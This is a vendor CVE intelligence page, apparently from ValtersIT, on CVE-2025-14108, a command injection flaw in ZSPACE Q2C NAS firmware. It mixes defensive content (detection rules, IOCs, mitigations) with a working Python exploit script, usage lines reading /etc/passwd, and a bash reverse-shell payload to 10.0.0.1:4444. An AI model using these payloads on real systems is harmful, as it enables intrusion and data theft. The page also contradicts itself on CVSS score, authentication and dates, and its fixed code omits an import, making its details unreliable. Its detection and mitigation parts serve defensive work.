☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Zspace logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-14108

CVE-2025-14108 Command Injection in Zspace
📅 PUBLISHED: 2025-12-05 22:02 UTC 🔄 UPDATED: 2026-09-29 17:41 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 10.46%
👁️
10.46% probability
261.6× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
VULNERABLE: Q2C Nas Firmware
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-14108 is a critical command injection vulnerability discovered in the ZSPACE Q2C NAS device, specifically within the /v2/file/safe/open endpoint of the zfilev2_api.OpenSafe function. The vulnerability allows an unauthenticated remote attacker to inject arbitrary operating system commands by manipulating the safe_dir argument in an HTTP POST request. Given that a public proof-of-concept (PoC) exploit has been released and the vendor has confirmed the issue without an immediate patch, this vulnerability poses a severe risk to all unpatched ZSPACE Q2C NAS devices. Immediate mitigation measures are required.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a firmware-level issue in a proprietary NAS appliance. The risk is primarily to end-users and organizations that have deployed ZSPACE Q2C NAS devices in their network.

CVSS Breakdown & Threat Level

While an official CVSS vector is not provided, based on the nature of the vulnerability (remote, unauthenticated command injection), the estimated CVSS v3.1 score is 9.8 (Critical).

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
  • Confidentiality (C): High (H) – Full system compromise possible.
  • Integrity (I): High (H) – Full system compromise possible.
  • Availability (A): High (H) – Full system compromise possible.

Threat Level: Critical. Public exploit availability and lack of patch make this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability resides in the HTTP POST request handler for the endpoint /v2/file/safe/open. The function zfilev2_api.OpenSafe is responsible for opening a "safe" directory on the NAS. The safe_dir parameter is passed to a system command without proper sanitization or validation.

Root Cause: The application likely constructs a shell command by concatenating user-supplied input (the safe_dir value) directly into a command string. For example, the backend might execute something like mount -t cifs //<safe_dir> /mnt/safe or ls -la /path/to/safe/<safe_dir>. By injecting shell metacharacters (e.g., ;, |, &&, `), an attacker can break out of the intended command and execute arbitrary OS commands.

Attack Flow:

  1. Attacker identifies a ZSPACE Q2C NAS device (e.g., via Shodan).
  2. Attacker sends a crafted HTTP POST request to /v2/file/safe/open with a malicious safe_dir parameter.
  3. The NAS executes the injected command with the privileges of the web server (likely root or a high-privilege user).
  4. Attacker gains remote code execution, potentially leading to full device compromise, data exfiltration, or lateral movement.

Vulnerable vs. Patched Code

Since the patch is not yet released, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual):

# Vulnerable Python-like pseudocode
import subprocess

def open_safe(safe_dir):
    command = "mount -t cifs //" + safe_dir + " /mnt/safe"
    subprocess.call(command, shell=True)

Patched Code (Expected):

# Patched Python-like pseudocode
import subprocess
import shlex

def open_safe(safe_dir):
    # Validate input: only allow alphanumeric, underscores, and slashes
    if not re.match(r'^[a-zA-Z0-9_/]+$', safe_dir):
        return "Invalid directory"
    # Use a list to avoid shell injection
    command = ["mount", "-t", "cifs", "//" + safe_dir, "/mnt/safe"]
    subprocess.call(command, shell=False)

The key difference is the use of shell=False and passing arguments as a list, which prevents shell injection. Additionally, input validation is implemented.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A ZSPACE Q2C NAS device (or a vulnerable emulator) on the same network.
  • Python 3 and requests library.

Exploit Script:

#!/usr/bin/env python3
import requests
import sys

if len(sys.argv) != 3:
    print(f"Usage: {sys.argv[0]} <target_ip> <command>")
    sys.exit(1)

target = sys.argv[1]
command = sys.argv[2]

url = f"http://{target}/v2/file/safe/open"
# Inject command using semicolon
payload = f";{command};"

data = {"safe_dir": payload}

try:
    r = requests.post(url, data=data, timeout=10)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text}")
except Exception as e:
    print(f"Error: {e}")

Usage:

python3 exploit.py 192.168.1.100 "id"
python3 exploit.py 192.168.1.100 "cat /etc/passwd"

Expected Output: The command output may be reflected in the HTTP response or executed silently. Use a reverse shell for interactive access.

Reverse Shell Payload:

python3 exploit.py 192.168.1.100 "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Blue Team (Defensive)

Detection:

  • Monitor HTTP POST requests to /v2/file/safe/open with suspicious safe_dir parameters containing shell metacharacters (;, |, &, `, $()).
  • Alert on unusual outbound connections from the NAS device (e.g., to unknown IPs on high ports).
  • Check for unexpected processes spawned by the web server (e.g., bash, python, nc).

Honeypot Setup:

  • Deploy a low-interaction honeypot that mimics the ZSPACE Q2C NAS login page and the /v2/file/safe/open endpoint.
  • Log all POST requests and analyze for injection patterns.

Network Segmentation:

  • Isolate NAS devices on a separate VLAN with strict egress filtering.
  • Block outbound traffic from NAS devices to the internet unless explicitly required.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /v2/file/safe/open with safe_dir containing shell metacharacters.
  • Outbound connections from the NAS to unusual IPs/ports (e.g., 4444/tcp).
  • DNS queries to known malicious domains or IPs.

File System IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ (e.g., exploit.sh, reverse.sh).
  • Modified system binaries (e.g., /bin/ls replaced with a backdoor).
  • New cron jobs or systemd services.

Process IOCs:

  • Unusual processes running as www-data or root (e.g., bash, python, nc, perl).
  • Processes with network connections to external IPs.

Log IOCs:

  • Web server logs showing POST /v2/file/safe/open with safe_dir containing ;, |, &, etc.
  • System logs showing execution of unexpected commands (e.g., id, whoami, cat /etc/shadow).

Detection Engineering

YARA Rule

rule CVE_2025_14108_ZSPACE_Command_Injection {
    meta:
        description = "Detects exploit attempts for CVE-2025-14108 in HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-14108"
    strings:
        $endpoint = "/v2/file/safe/open"
        $injection1 = /safe_dir=[^&]*[;&|`$]/
        $injection2 = /safe_dir=[^&]*\|\|/
        $injection3 = /safe_dir=[^&]*&&/
    condition:
        $endpoint and any of ($injection*)
}

Sigma Rule

title: CVE-2025-14108 ZSPACE Q2C NAS Command Injection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable endpoint with command injection payloads.
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14108
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v2/file/safe/open'
    keywords:
        - 'safe_dir='
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in directory names (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14108 ZSPACE Q2C NAS Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/v2/file/safe/open"; http_uri; content:"safe_dir="; http_client_body; pcre:"/safe_dir=[^&]*(;|\||&|`|\$\(|\|\|)/"; sid:1000001; rev:1; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2025-14108;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices: Place ZSPACE Q2C NAS devices on a separate VLAN with no direct internet access.
  2. Apply virtual patching: Use a WAF (e.g., ModSecurity) to block requests to /v2/file/safe/open with suspicious safe_dir parameters.
  3. Monitor logs: Enable detailed logging and alerting for the vulnerable endpoint.

Long-term Fix:

  • Apply the vendor's official patch as soon as it is released.
  • If patching is not possible, consider replacing the device with a supported alternative.

Workaround:

  • Disable the "Safe" feature if not in use.
  • Restrict access to the NAS management interface to trusted IPs only.

Valters IT
Securing your digital frontier.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-14108/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.